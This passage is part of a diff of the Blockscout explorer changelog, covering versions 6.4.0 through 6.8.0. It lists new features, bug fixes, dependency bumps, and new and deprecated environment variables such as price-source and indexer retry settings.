| +| `INDEXER_TOKEN_INSTANCE_RETRY_EXPONENTIAL_TIMEOUT_COEFF` | Coefficient to calculate exponential timeout. Implemented in [#10027](https://github.com/blockscout/blockscout/pull/10027). |

Version: v6.8.0+
Default: 100
Applications: Indexer

| +| `MISSING_BALANCE_OF_TOKENS_WINDOW_SIZE` | Minimal blocks count until the next token balance request will be executed for tokens that doesn't implement `balanceOf` function. Implemented in [#10142](https://github.com/blockscout/blockscout/pull/10142) |

Version: v6.8.0+
Default: 100
Applications: Indexer

| +| `ETHEREUM_JSONRPC_GETH_ALLOW_EMPTY_TRACES` | Allow transactions to not have internal transactions. Implemented in [#10200](https://github.com/blockscout/blockscout/pull/10200) |

Version: v6.8.0+
Default: false
Applications: Indexer

| +| `INDEXER_DISABLE_REPLACED_TRANSACTION_FETCHER` | If `true`, `Indexer.Fetcher.ReplacedTransaction` fetcher doesn't run |

Version: v6.8.0+
Default: false
Applications: Indexer

| +| `SANITIZE_INCORRECT_WETH_BATCH_SIZE` | Number of token transfers to sanitize in the batch. Implemented in [#10134](https://github.com/blockscout/blockscout/pull/10134) |

Version: v6.8.0+
Default: 100
Applications: API, Indexer

| +| `SANITIZE_INCORRECT_WETH_CONCURRENCY` | Number of parallel sanitizing token transfer batches processing. Implemented in [#10134](https://github.com/blockscout/blockscout/pull/10134) |

Version: v6.8.0+
Default: 1
Applications: API, Indexer

| +| `MIGRATION_RESTORE_OMITTED_WETH_TOKEN_TRANSFERS_BATCH_SIZE` | Number of logs to process in the batch. Implemented in [#10466](https://github.com/blockscout/blockscout/pull/10466) |

Version: v6.8.0+
Default: 50
Applications: API, Indexer

| +| `MIGRATION_RESTORE_OMITTED_WETH_TOKEN_TRANSFERS_CONCURRENCY`| Number of parallel logs batches processing. Implemented in [#10466](https://github.com/blockscout/blockscout/pull/10466) |

Version: v6.8.0+
Default: 5
Applications: API, Indexer

| +| `MIGRATION_RESTORE_OMITTED_WETH_TOKEN_TRANSFERS_TIMEOUT` | Time interval between checks if queue is not empty. The same timeout multiplied by 2 used between checks if queue is not full. Implemented in [#10466](https://github.com/blockscout/blockscout/pull/10466) |

Version: v6.8.0+
Default: 250ms
Applications: API, Indexer

| +| `EXCHANGE_RATES_SOURCE` | Source for native coin and tokens price fetching. Possible values are: `coin_gecko`, `coin_market_cap` or `mobula`. |

Version: v6.8.0+
Default: coin_gecko
Applications: API, Indexer

| +| `EXCHANGE_RATES_SECONDARY_COIN_SOURCE` | Source for secondary coin fetching. Possible values are: `coin_gecko`, `coin_market_cap` or `mobula`. |

Version: v6.8.0+
Default: coin_gecko
Applications: API, Indexer

| +| `TOKEN_EXCHANGE_RATES_SOURCE` | Sets the source for tokens price fetching. Available values are `coin_gecko`, `cryptorank`. Implemented in [#10550](https://github.com/blockscout/blockscout/pull/10550). |

Version: v6.8.0+
Default: coin_gecko
Applications: API, Indexer

| +| `EXCHANGE_RATES_CRYPTORANK_SECONDARY_COIN_ID` | Sets Cryptorank coin ID for secondary coin market chart. Implemented in [#10550](https://github.com/blockscout/blockscout/pull/10550). |

Version: v6.8.0+
Default: (empty)
Applications: API, Indexer

| +| `EXCHANGE_RATES_CRYPTORANK_PLATFORM_ID` | Sets Cryptorank platform ID. Implemented in [#10550](https://github.com/blockscout/blockscout/pull/10550). |

Version: v6.8.0+
Default: (empty)
Applications: API, Indexer

| +| `EXCHANGE_RATES_CRYPTORANK_BASE_URL` | If set, overrides the Cryptorank API url. Implemented in [#10550](https://github.com/blockscout/blockscout/pull/10550). |

Version: v6.8.0+
Default: https://api.cryptorank.io/v1/
Applications: API, Indexer

| +| `EXCHANGE_RATES_CRYPTORANK_API_KEY` | Cryptorank API key. Current implementation uses dedicated beta Cryptorank API endpoint. If you want to integrate Cryptorank price fetching you should contact Cryptorank to receive an API key. Implemented in [#10550](https://github.com/blockscout/blockscout/pull/10550). |

Version: v6.8.0+
Default: (empty)
Applications: API, Indexer

| +| `EXCHANGE_RATES_CRYPTORANK_COIN_ID` | Sets Cryptorank coin ID. Implemented in [#10550](https://github.com/blockscout/blockscout/pull/10550). |

Version: v6.8.0+
Default: (empty)
Applications: API, Indexer

| +| `EXCHANGE_RATES_CRYPTORANK_LIMIT` | Sets the maximum number of token prices returned in a single request. Implemented in [#10550](https://github.com/blockscout/blockscout/pull/10550). |

Version: v6.8.0+
Default: 1000
Applications: API, Indexer

| +| `WHITELISTED_WETH_CONTRACTS` | Comma-separated list of smart-contract address hashes of WETH-like tokens which deposit and withdrawal events you'd like to index. Implemented in [#10134](https://github.com/blockscout/blockscout/pull/10134) |

Version: v6.8.0+
Default: (empty)
Applications: API, Indexer

| +| `API_NO_RATE_LIMIT_API_KEY` | API key with no rate limit. Implemented in [#10515](https://github.com/blockscout/blockscout/pull/10515) |

Version: v6.8.0+
Default: (empty)
Applications: API

| + +## 6.7.2 + +### 🐛 Bug Fixes + +- Apply Ecto set explicit ssl_opts: [verify: :verify_none] to all prod repos ([#10369](https://github.com/blockscout/blockscout/issues/10369)) +- Fix slow internal transactions query ([#10346](https://github.com/blockscout/blockscout/issues/10346)) +- Don't execute update query for empty list ([#10344](https://github.com/blockscout/blockscout/issues/10344)) +- Add rescue on tx revert reason fetching ([#10366](https://github.com/blockscout/blockscout/issues/10366)) +- Reth compatibility ([#10335](https://github.com/blockscout/blockscout/issues/10335)) +- Public metrics enabling ([#10365](https://github.com/blockscout/blockscout/issues/10365)) +- Flaky market test ([#10262](https://github.com/blockscout/blockscout/issues/10262)) + +### ⚙️ Miscellaneous Tasks + +- Bump elixir to 1.16.3 and Erlang OTP to 26.2.5.1 ([#9256](https://github.com/blockscout/blockscout/issues/9256)) + +## 6.7.1 + +### 🐛 Bug Fixes + +- Fix to_string error ([#10319](https://github.com/blockscout/blockscout/issues/10319)) +- Fix bridged tokens ([#10318](https://github.com/blockscout/blockscout/issues/10318)) +- Missing onlyTopCall option on some geth networks ([#10309](https://github.com/blockscout/blockscout/issues/10309)) + +## 6.7.0 + +### 🚀 Features + +- Public metrics toggler ([#10279](https://github.com/blockscout/blockscout/issues/10279)) +- Chain & explorer Prometheus metrics ([#10063](https://github.com/blockscout/blockscout/issues/10063)) +- API endpoint to re-fetch token instance metadata ([#10097](https://github.com/blockscout/blockscout/issues/10097)) +- *(ci)* Use remote arm64 builder ([#9468](https://github.com/blockscout/blockscout/issues/9468)) +- Adding Mobula price source ([#9971](https://github.com/blockscout/blockscout/issues/9971)) +- Get ERC-1155 token name from contractURI getter fallback ([#10187](https://github.com/blockscout/blockscout/issues/10187)) +- Push relevant entries to the front of bound queue ([#10193](https://github.com/blockscout/blockscout/issues/10193)) +- Add feature toggle for WETH filtering ([#10208](https://github.com/blockscout/blockscout/issues/10208)) +- Batch read methods requests ([#10192](https://github.com/blockscout/blockscout/issues/10192)) +- Set dynamic ttl of cache modules derived from MapCache ([#10109](https://github.com/blockscout/blockscout/issues/10109)) +- Add Fee column to Internal transactions CSV export ([#10204](https://github.com/blockscout/blockscout/issues/10204)) +- Add window between balance fetch retries for missing balanceOf tokens ([#10142](https://github.com/blockscout/blockscout/issues/10142)) +- Indexer for cross level messages on Arbitrum ([#9312](https://github.com/blockscout/blockscout/issues/9312)) + +### 🐛 Bug Fixes + +- Add token instances preloads ([#10288](https://github.com/blockscout/blockscout/issues/10288)) +- Set timeout in seconds ([#10283](https://github.com/blockscout/blockscout/issues/10283)) +- Fix ci setup repo error ([#10277](https://github.com/blockscout/blockscout/issues/10277)) +- `getsourcecode` in API v1 for verified proxy ([#10273](https://github.com/blockscout/blockscout/issues/10273)) +- Add preloads for tx summary endpoint ([#10261](https://github.com/blockscout/blockscout/issues/10261)) +- Add preloads to summary and tokens endpoints ([#10259](https://github.com/blockscout/blockscout/issues/10259)) +- Advanced filter contract creation transaction ([#10257](https://github.com/blockscout/blockscout/issues/10257)) +- Proper hex-encoded transaction hash recognition in ZkSync batches status checker ([#10255](https://github.com/blockscout/blockscout/issues/10255)) +- Pipe through api_v2_no_forgery_protect POST requests in SmartContractsApiV2Router +- Fix possible unknown UID bug ([#10240](https://github.com/blockscout/blockscout/issues/10240)) +- Batch transactions view recovered and support of proofs through ZkSync Hyperchain ([#10234](https://github.com/blockscout/blockscout/issues/10234)) +- Fix nil abi issue in get_naive_implementation_abi and get_master_copy_pattern methods ([#10239](https://github.com/blockscout/blockscout/issues/10239)) +- Add smart contracts preloads to from_address ([#10236](https://github.com/blockscout/blockscout/issues/10236)) +- Add proxy_implementations preloads ([#10225](https://github.com/blockscout/blockscout/issues/10225)) +- Cannot truncate chardata ([#10227](https://github.com/blockscout/blockscout/issues/10227)) +- ERC-1155 tokens metadata retrieve ([#10231](https://github.com/blockscout/blockscout/issues/10231)) +- Replace empty arg names with argN ([#9748](https://github.com/blockscout/blockscout/issues/9748)) +- Fix unknown UID bug ([#10226](https://github.com/blockscout/blockscout/issues/10226)) +- Fixed the field name ([#10216](https://github.com/blockscout/blockscout/issues/10216)) +- Excessive logging for Arbitrum batches confirmations ([#10205](https://github.com/blockscout/blockscout/issues/10205)) +- Filter WETH transfers in indexer + migration to delete historical incorrect WETH transfers ([#10134](https://github.com/blockscout/blockscout/issues/10134)) +- Fix flaky test +- Resolve flaky address_controller test for web +- Add the ability to allow empty traces ([#10200](https://github.com/blockscout/blockscout/issues/10200)) +- Move auth routes to general router ([#10153](https://github.com/blockscout/blockscout/issues/10153)) +- Add a separate db url for events listener ([#10164](https://github.com/blockscout/blockscout/issues/10164)) +- Fix Retry NFT fetcher ([#10146](https://github.com/blockscout/blockscout/issues/10146)) +- Add missing preloads to tokens endpoints ([#10072](https://github.com/blockscout/blockscout/issues/10072)) +- Missing nil case for revert reason ([#10136](https://github.com/blockscout/blockscout/issues/10136)) +- Hotfix for Indexer.Fetcher.Optimism.WithdrawalEvent and EthereumJSONRPC.Receipt ([#10130](https://github.com/blockscout/blockscout/issues/10130)) + +### 🚜 Refactor + +- Remove hardcoded numResults from fetch_pending_transactions_besu ([#10117](https://github.com/blockscout/blockscout/issues/10117)) + +### ⚡ Performance + +- Replace individual queries with ecto preload ([#10203](https://github.com/blockscout/blockscout/issues/10203)) + +### ⚙️ Miscellaneous Tasks + +- Refactor PendingTransactionsSanitizer to use batched requests ([#10101](https://github.com/blockscout/blockscout/issues/10101)) +- Exclude write methods from read tabs ([#10111](https://github.com/blockscout/blockscout/issues/10111)) +- Return is verified=true for verified minimal proxy pattern ([#10132](https://github.com/blockscout/blockscout/issues/10132)) +- Bump ecto_sql from 3.11.1 to 3.11.2 + +### New ENV Variables + +| Variable | Required | Description | Default | Version | Need recompile | Application | +| -------------------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------ | ------- | -------------- | --- | +| `DATABASE_EVENT_URL` | | Variable to define the Postgres Database endpoint that will be used by event listener process. Applicable for separate indexer and API setup. More info in related PR. Implemented in [#10164](https://github.com/blockscout/blockscout/pull/10164). | (empty) | v6.7.0+ | | API | +| `INDEXER_TOKEN_INSTANCE_RETRY_MAX_REFETCH_INTERVAL` | | Maximum interval between attempts to fetch token instance metadata. [Time format](env-variables.md#time-format). Implemented in [#10027](https://github.com/blockscout/blockscout/pull/10027). | `168h` | v6.7.0+ | | Indexer | +| `INDEXER_TOKEN_INSTANCE_RETRY_EXPONENTIAL_TIMEOUT_BASE` | | Base to calculate exponential timeout. Implemented in [#10027](https://github.com/blockscout/blockscout/pull/10027). | `2` | v6.7.0+ | | Indexer | +| `INDEXER_TOKEN_INSTANCE_RETRY_EXPONENTIAL_TIMEOUT_COEFF` | | Coefficient to calculate exponential timeout. Implemented in [#10027](https://github.com/blockscout/blockscout/pull/10027). | `100` | v6.7.0+ | | Indexer | +| `MISSING_BALANCE_OF_TOKENS_WINDOW_SIZE` | | Minimal blocks count until the next token balance request will be executed for tokens that doesn't implement `balanceOf` function. Implemented in [#10142](https://github.com/blockscout/blockscout/pull/10142) | 100 | v6.7.0+ | | Indexer | +| `ETHEREUM_JSONRPC_GETH_ALLOW_EMPTY_TRACES` | | Allow transactions to not have internal transactions. Implemented in [#10200](https://github.com/blockscout/blockscout/pull/10200) | `false` | v6.7.0+ | | Indexer | +| `SANITIZE_INCORRECT_WETH_BATCH_SIZE` | | Number of token transfers to sanitize in the batch. Implemented in [#10134](https://github.com/blockscout/blockscout/pull/10134) | 100 | v6.7.0+ | | API, Indexer | +| `SANITIZE_INCORRECT_WETH_CONCURRENCY` | | Number of parallel sanitizing token transfer batches processing. Implemented in [#10134](https://github.com/blockscout/blockscout/pull/10134) | 1 | v6.7.0+ | | API, Indexer | +| `EXCHANGE_RATES_MOBULA_SECONDARY_COIN_ID` | | Explicitly set Mobula coin ID for secondary coin market chart. | (empty) | v6.7.0+ | | API, Indexer | +| `EXCHANGE_RATES_MOBULA_API_KEY` | | Mobula API key. | (empty) | v6.7.0+ | | API, Indexer | +| `EXCHANGE_RATES_MOBULA_CHAIN_ID` | | [Mobula](https://www.mobula.io/) chain id for which token prices are fetched, see full list in the [`Documentation`](https://docs.mobula.io/blockchains/intro-blockchains). | ethereum | v6.7.0+ | | API, Indexer | +| `TOKEN_INSTANCE_METADATA_REFETCH_ON_DEMAND_FETCHER_THRESHOLD` | | An initial threshold (for exponential backoff) to re-fetch token instance's metadata on-demand. [Time format](env-variables.md#time-format). Implemented in [#10097](https://github.com/blockscout/blockscout/pull/10097). | 5s | v6.7.0+ | | API, Indexer | +| `WHITELISTED_WETH_CONTRACTS` | | Comma-separated list of smart-contract addresses hashes of WETH-like tokens which deposit and withdrawal events you'd like to index. Implemented in [#10134](https://github.com/blockscout/blockscout/pull/10134) | (empty) | v6.7.0+ | | API, Indexer| +| `WETH_TOKEN_TRANSFERS_FILTERING_ENABLED` | | Toggle for WETH token transfers filtering which was introduced in [#10134](https://github.com/blockscout/blockscout/pull/10134). Implemented in [#10208](https://github.com/blockscout/blockscout/pull/10208) | false | v6.7.0+ | | API, Indexer| + +## 6.6.0 + +### 🚀 Features + +- Implement fetch_first_trace for Geth ([#10087](https://github.com/blockscout/blockscout/issues/10087)) +- Add optional retry of NFT metadata fetch in Indexer.Fetcher.Tok… ([#10036](https://github.com/blockscout/blockscout/issues/10036)) +- Blueprint contracts support ([#10058](https://github.com/blockscout/blockscout/issues/10058)) +- Clone with immutable arguments proxy pattern ([#10039](https://github.com/blockscout/blockscout/issues/10039)) +- Improve retry NFT fetcher ([#10027](https://github.com/blockscout/blockscout/issues/10027)) +- MUD API support ([#9869](https://github.com/blockscout/blockscout/issues/9869)) +- Diamond proxy (EIP-2535) support ([#10034](https://github.com/blockscout/blockscout/issues/10034)) +- Add user ops indexer to docker compose configs ([#10010](https://github.com/blockscout/blockscout/issues/10010)) +- Save smart-contract proxy type in the DB ([#10033](https://github.com/blockscout/blockscout/issues/10033)) +- Detect EIP-1967 proxy pattern on unverified smart-contracts ([#9864](https://github.com/blockscout/blockscout/issues/9864)) +- Omit balanceOf requests for tokens that doesn't support it ([#10018](https://github.com/blockscout/blockscout/issues/10018)) +- Precompiled contracts ABI import ([#9899](https://github.com/blockscout/blockscout/issues/9899)) +- Add ENS category to search result; Add ENS to check-redirect ([#9779](https://github.com/blockscout/blockscout/issues/9779)) + +### 🐛 Bug Fixes + +- Fix certified flag in the search API v2 endpoint ([#10094](https://github.com/blockscout/blockscout/issues/10094)) +- Update Vyper inner compilers list to support all compilers ([#10091](https://github.com/blockscout/blockscout/issues/10091)) +- Add healthcheck endpoints for indexer-only setup ([#10076](https://github.com/blockscout/blockscout/issues/10076)) +- Rework revert_reason ([#9212](https://github.com/blockscout/blockscout/issues/9212)) +- Eliminate from_address_hash == #{address_hash} clause for transactions query in case of smart-contracts ([#9469](https://github.com/blockscout/blockscout/issues/9469)) +- Separate indexer setup ([#10032](https://github.com/blockscout/blockscout/issues/10032)) +- Disallow batched queries in GraphQL endpoint ([#10050](https://github.com/blockscout/blockscout/issues/10050)) +- Vyper contracts re-verification ([#10053](https://github.com/blockscout/blockscout/issues/10053)) +- Fix Unknown UID bug at smart-contract verification ([#9986](https://github.com/blockscout/blockscout/issues/9986)) +- Search for long integers ([#9651](https://github.com/blockscout/blockscout/issues/9651)) +- Don't put error to NFT metadata ([#9940](https://github.com/blockscout/blockscout/issues/9940)) +- Handle DB unavailability by PolygonZkevm.TransactionBatch fetcher ([#10031](https://github.com/blockscout/blockscout/issues/10031)) +- Fix WebSocketClient reconnect ([#9937](https://github.com/blockscout/blockscout/issues/9937)) +- Fix incorrect image_url parsing from NFT meta ([#9956](https://github.com/blockscout/blockscout/issues/9956)) + +### 🚜 Refactor + +- Improve response of address API to return multiple implementations for Diamond proxy ([#10113](https://github.com/blockscout/blockscout/pull/10113)) +- Refactor get_additional_sources/4 -> get_additional_sources/3 ([#10046](https://github.com/blockscout/blockscout/issues/10046)) +- Test database config ([#9662](https://github.com/blockscout/blockscout/issues/9662)) + +### ⚙️ Miscellaneous Tasks + +- Update hackney pool size: add new fetchers accounting ([#9941](https://github.com/blockscout/blockscout/issues/9941)) +- Bump credo from 1.7.5 to 1.7.6 ([#10060](https://github.com/blockscout/blockscout/issues/10060)) +- Bump redix from 1.5.0 to 1.5.1 ([#10059](https://github.com/blockscout/blockscout/issues/10059)) +- Bump ex_doc from 0.32.1 to 0.32.2 ([#10061](https://github.com/blockscout/blockscout/issues/10061)) +- Remove `has_methods` from `/addresses` ([#10051](https://github.com/blockscout/blockscout/issues/10051)) +- Add support of Blast-specific L1 OP withdrawal events ([#10049](https://github.com/blockscout/blockscout/issues/10049)) +- Update outdated links to ETH JSON RPC Specification in docstrings ([#10041](https://github.com/blockscout/blockscout/issues/10041)) +- Migrate to GET variant of {{metadata_url}}/api/v1/metadata ([#9994](https://github.com/blockscout/blockscout/issues/9994)) +- Bump ex_cldr_numbers from 2.32.4 to 2.33.1 ([#9978](https://github.com/blockscout/blockscout/issues/9978)) +- Bump ex_cldr from 2.38.0 to 2.38.1 ([#10009](https://github.com/blockscout/blockscout/issues/10009)) +- Bump ex_cldr_units from 3.16.5 to 3.17.0 ([#9931](https://github.com/blockscout/blockscout/issues/9931)) +- Bump style-loader in /apps/block_scout_web/assets ([#9995](https://github.com/blockscout/blockscout/issues/9995)) +- Bump mini-css-extract-plugin in /apps/block_scout_web/assets ([#9997](https://github.com/blockscout/blockscout/issues/9997)) +- Bump @babel/preset-env in /apps/block_scout_web/assets ([#9999](https://github.com/blockscout/blockscout/issues/9999)) +- Bump @amplitude/analytics-browser in /apps/block_scout_web/assets ([#10001](https://github.com/blockscout/blockscout/issues/10001)) +- Bump css-loader in /apps/block_scout_web/assets ([#10003](https://github.com/blockscout/blockscout/issues/10003)) +- Bump sweetalert2 in /apps/block_scout_web/assets ([#9998](https://github.com/blockscout/blockscout/issues/9998)) +- Bump mixpanel-browser in /apps/block_scout_web/assets ([#10000](https://github.com/blockscout/blockscout/issues/10000)) +- Bump @fortawesome/fontawesome-free ([#10002](https://github.com/blockscout/blockscout/issues/10002)) +- Bump @babel/core in /apps/block_scout_web/assets ([#9996](https://github.com/blockscout/blockscout/issues/9996)) +- Enhance indexer memory metrics ([#9984](https://github.com/blockscout/blockscout/issues/9984)) +- Bump redix from 1.4.1 to 1.5.0 ([#9977](https://github.com/blockscout/blockscout/issues/9977)) +- Bump floki from 0.36.1 to 0.36.2 ([#9979](https://github.com/blockscout/blockscout/issues/9979)) +- (old UI) Replace old Twitter icon with new 'X' ([#9641](https://github.com/blockscout/blockscout/issues/9641)) + +### New ENV Variables + +| Variable | Required | Description | Default | Version | Need recompile | +| -------------------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------ | ------- | -------------- | +| `DISABLE_API` | | If `true`, endpoint is not started. Set this if you want to use an indexer-only setup. Implemented in [#10032](https://github.com/blockscout/blockscout/pull/10032) | `false` | v6.6.0+ | | +| `INDEXER_TOKEN_INSTANCE_RETRY_MAX_REFETCH_INTERVAL` | | Maximum interval between attempts to fetch token instance metadata. [Time format](env-variables.md#time-format). Implemented in [#10027](https://github.com/blockscout/blockscout/pull/10027). | `168h` | v6.6.0+ | +| `INDEXER_TOKEN_INSTANCE_RETRY_EXPONENTIAL_TIMEOUT_BASE` | | Base to calculate exponential timeout. Implemented in [#10027](https://github.com/blockscout/blockscout/pull/10027). | `2` | v6.6.0+ | +| `INDEXER_TOKEN_INSTANCE_RETRY_EXPONENTIAL_TIMEOUT_COEFF` | | Coefficient to calculate exponential timeout. Implemented in [#10027](https://github.com/blockscout/blockscout/pull/10027). | `100` | v6.6.0+ | +| `INDEXER_TOKEN_INSTANCE_REALTIME_RETRY_ENABLED` | | If `true`, `realtime` token instance fetcher will retry once on 404 and 500 error. Implemented in [#10036](https://github.com/blockscout/blockscout/pull/10036). | `false` | v6.6.0+ | +| `INDEXER_TOKEN_INSTANCE_REALTIME_RETRY_TIMEOUT` | | Timeout for retry set by `INDEXER_TOKEN_INSTANCE_REALTIME_RETRY_ENABLED`. [Time format](env-variables.md#time-format). Implemented in [#10036](https://github.com/blockscout/blockscout/pull/10036). | `5s` | v6.6.0+ | +| `TEST_DATABASE_URL` | | Variable to define the endpoint of the Postgres Database that is used during testing. Implemented in [#9662](https://github.com/blockscout/blockscout/pull/9662). | (empty) | v6.6.0+ | | +| `TEST_DATABASE_READ_ONLY_API_URL` | | Variable to define the endpoint of the Postgres Database read-only replica that is used during testing. If it is provided, most of the read queries from API v2 and UI would go through this endpoint. Implemented in [#9662](https://github.com/blockscout/blockscout/pull/9662). | (empty) | v6.6.0+ | | +| `MUD_INDEXER_ENABLED` | | If `true`, integration with [MUD](https://mud.dev/services/indexer#schemaless-indexing-with-postgresql-via-docker) is enabled. Implemented in [#9869](https://github.com/blockscout/blockscout/pull/9869) | (empty) | v6.6.0+ | | +| `MUD_DATABASE_URL` | | MUD indexer DB connection URL. | value from `DATABASE_URL` | v6.6.0+ | | +| `MUD_POOL_SIZE` | | MUD indexer DB `pool_size` | 50 | v6.6.0+ | | + +### Deprecated ENV Variables + +| Variable | Required | Description | Default | Version | Need recompile | Deprecated in Version | +| ----------------------------------------------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- | -------- | -------------- | --------------------- | +| `INDEXER_TOKEN_INSTANCE_RETRY_REFETCH_INTERVAL` | | Interval between attempts to fetch token instance metadata. [Time format](env-variables.md#time-format). Implemented in [#7286](https://github.com/blockscout/blockscout/pull/7286). | `24h` | v5.1.4+ | | v6.6.0 | +| `INDEXER_INTERNAL_TRANSACTIONS_INDEXING_FINISHED_THRESHOLD` | | In the case when the 1st tx in the chain already has internal transactions, If the number of blocks in pending\_block\_operations is less than the value in this env var, Blockscout will consider, that indexing of internal transactions finished, otherwise, it will consider, that indexing is still taking place and the indexing banner will appear at the top. Implemented in [#7576](https://github.com/blockscout/blockscout/pull/7576). | 1000 | v5.2.0+ | | v6.6.0 | + +## 6.5.0 + +### 🚀 Features + +- Certified smart contracts ([#9910](https://github.com/blockscout/blockscout/issues/9910)) +- Exit on provided invalid CHAIN_TYPE ([#9904](https://github.com/blockscout/blockscout/issues/9904)) +- IPFS gateway URL extra params ([#9898](https://github.com/blockscout/blockscout/issues/9898)) +- Zerion API proxy ([#9896](https://github.com/blockscout/blockscout/issues/9896)) +- Support Optimism Fault Proofs ([#9892](https://github.com/blockscout/blockscout/issues/9892)) +- Return number of days in address's coin-balance-history-by-day API v2 endpoint ([#9806](https://github.com/blockscout/blockscout/issues/9806)) +- Allow the use of Coingecko demo account ([#9835](https://github.com/blockscout/blockscout/issues/9835)) + +### 🐛 Bug Fixes + +- Set refetch_needed: false on block import ([#9953](https://github.com/blockscout/blockscout/issues/9953)) +- `GAS_PRICE_ORACLE_NUM_OF_BLOCKS` calculation ([#9943](https://github.com/blockscout/blockscout/issues/9943)) +- Handle "null" filter in api/v1/logs-csv ([#9933](https://github.com/blockscout/blockscout/issues/9933)) +- Fix metadata preload ([#9925](https://github.com/blockscout/blockscout/issues/9925)) +- `coin_price_change_percentage` calculation ([#9774](https://github.com/blockscout/blockscout/issues/9774)) +- Remove backend dependency in microservices.yml ([#9905](https://github.com/blockscout/blockscout/issues/9905)) +- Expand memory only if it was shrunk ([#9907](https://github.com/blockscout/blockscout/issues/9907)) +- Coin balances fetcher error logging ([#9902](https://github.com/blockscout/blockscout/issues/9902)) +- Refactor catchup rudimentaries + fix graceful shutdown ([#9729](https://github.com/blockscout/blockscout/issues/9729)) +- Handle transactions with `gas_price` set to `nil` in `transaction_revert_reason/2` ([#9647](https://github.com/blockscout/blockscout/issues/9647)) +- Correct processing of sized array to view in API v2 ([#9854](https://github.com/blockscout/blockscout/issues/9854)) +- Broadcast realtime coin balances ([#9804](https://github.com/blockscout/blockscout/issues/9804)) +- Disable BlockReward fetcher for unsupported variants ([#9859](https://github.com/blockscout/blockscout/issues/9859)) +- Add non-unique log_index support in update_token_instances_owner ([#9862](https://github.com/blockscout/blockscout/issues/9862)) + +### ⚡ Performance + +- Paging function edge cases fix ([#9820](https://github.com/blockscout/blockscout/issues/9820)) +- Adjust unfetched_address_token_balances_index to fit all bound query conditions ([#9912](https://github.com/blockscout/blockscout/issues/9912)) +- Enhance index for token holders list ([#9816](https://github.com/blockscout/blockscout/issues/9816)) +- Improve performance of token page transfers tab ([#9809](https://github.com/blockscout/blockscout/issues/9809)) + +### ⚙️ Miscellaneous Tasks + +- Fix some typos in comments ([#9900](https://github.com/blockscout/blockscout/issues/9900)) +- Add queue expanding logic to memory monitor ([#9870](https://github.com/blockscout/blockscout/issues/9870)) +- Bump ex_doc from 0.31.2 to 0.32.1 ([#9889](https://github.com/blockscout/blockscout/issues/9889)) +- Separate reorgs from blocks that just need refetch ([#9674](https://github.com/blockscout/blockscout/issues/9674)) +- Unknown token in email template ([#9883](https://github.com/blockscout/blockscout/issues/9883)) +- Bump tesla from 1.8.0 to 1.9.0 ([#9886](https://github.com/blockscout/blockscout/issues/9886)) +- Bump logger_file_backend from 0.0.13 to 0.0.14 ([#9885](https://github.com/blockscout/blockscout/issues/9885)) +- Bump cloak_ecto from 1.2.0 to 1.3.0 ([#9890](https://github.com/blockscout/blockscout/issues/9890)) +- Bump ex_secp256k1 from 0.7.2 to 0.7.3 ([#9888](https://github.com/blockscout/blockscout/issues/9888)) +- Bump ex_cldr_units from 3.16.4 to 3.16.5 ([#9884](https://github.com/blockscout/blockscout/issues/9884)) +- Move `has_methods_*` fields to `/smart-contracts` endpoint response ([#9599](https://github.com/blockscout/blockscout/issues/9599)) +- Add metrics for realtime event handlers queue length ([#9822](https://github.com/blockscout/blockscout/issues/9822)) +- Increase MissingRangesCollector past check interval after the first cycle ([#9872](https://github.com/blockscout/blockscout/issues/9872)) +- Reduce number of warnings in web tests ([#9851](https://github.com/blockscout/blockscout/issues/9851)) +- Fix some typos in comments ([#9838](https://github.com/blockscout/blockscout/issues/9838)) +- Bump ex_abi from 0.7.1 to 0.7.2 ([#9841](https://github.com/blockscout/blockscout/issues/9841)) +- Remove /config/json-rpc-url API endpoint ([#9798](https://github.com/blockscout/blockscout/issues/9798)) +- Bump junit_formatter from 3.3.1 to 3.4.0 ([#9842](https://github.com/blockscout/blockscout/issues/9842)) +- Bump number from 1.0.4 to 1.0.5 ([#9843](https://github.com/blockscout/blockscout/issues/9843)) +- Bump absinthe_phoenix from 2.0.2 to 2.0.3 ([#9840](https://github.com/blockscout/blockscout/issues/9840)) +- Bump plug_cowboy from 2.7.0 to 2.7.1 ([#9844](https://github.com/blockscout/blockscout/issues/9844)) + +## 6.4.0 + +### 🚀 Features + +- Secondary coin price in `api/v2/stats` ([#9777](https://github.com/blockscout/blockscout/issues/9777)) +- Add /api/v2/blocks/{hash_or_number}/internal-transactions endpoint ([#9668](https://github.com/blockscout/blockscout/issues/9668)) +- Integrate Metadata microservice ([#9706](https://github.com/blockscout/blockscout/issues/9706)) +- Support verifier alliance and eth-bytecode-db v1.7.0 changes ([#9724](https://github.com/blockscout/blockscout/issues/9724)) +- Add rate limits to graphQL API ([#9771](https://github.com/blockscout/blockscout/issues/9771)) +- Support for internal user operation calldata decoded by microservice ([#9776](https://github.com/blockscout/blockscout/issues/9776)) +- Internal txs fetching for Arbitrum ([#9737](https://github.com/blockscout/blockscout/issues/9737)) +- Allow for custom base_url for fetching prices ([#9679](https://github.com/blockscout/blockscout/issues/9679)) +- Contract code on-demand fetcher ([#9708](https://github.com/blockscout/blockscout/issues/9708)) +- Add /api/v2/tokens/:address_hash_param/holders/csv endpoint ([#9722](https://github.com/blockscout/blockscout/issues/9722)) +- Support the 2nd version of L2<->L1 Polygon zkEVM Bridge ([#9637](https://github.com/blockscout/blockscout/issues/9637)) +- GraphQL management env vars ([#9751](https://github.com/blockscout/blockscout/issues/9751)) +- Improvements in zksync batch related transactions requests ([#9680](https://github.com/blockscout/blockscout/issues/9680)) +- Add trying to decode internal calldata for user ops ([#9675](https://github.com/blockscout/blockscout/issues/9675)) + +### 🐛 Bug Fixes + +- Apply quantity_to_integer/1 to effectiveGasPrice ([#9812](https://github.com/blockscout/blockscout/issues/9812)) +- Replace tx gas_price with effectiveGasPrice from receipt ([#9733](https://github.com/blockscout/blockscout/issues/9733)) +- Fetching GraphQL schema by GraphiQL IDE ([#9630](https://github.com/blockscout/blockscout/issues/9630)) +- Add block range check into OP Withdrawals fetcher ([#9770](https://github.com/blockscout/blockscout/issues/9770)) +- Update token's holder_count in the db from ETS module ([#9623](https://github.com/blockscout/blockscout/issues/9623)) +- Fix UTF-8 json handling in NFT metadata fetching ([#9707](https://github.com/blockscout/blockscout/issues/9707)) +- Separate ZkSync and ZkEvm 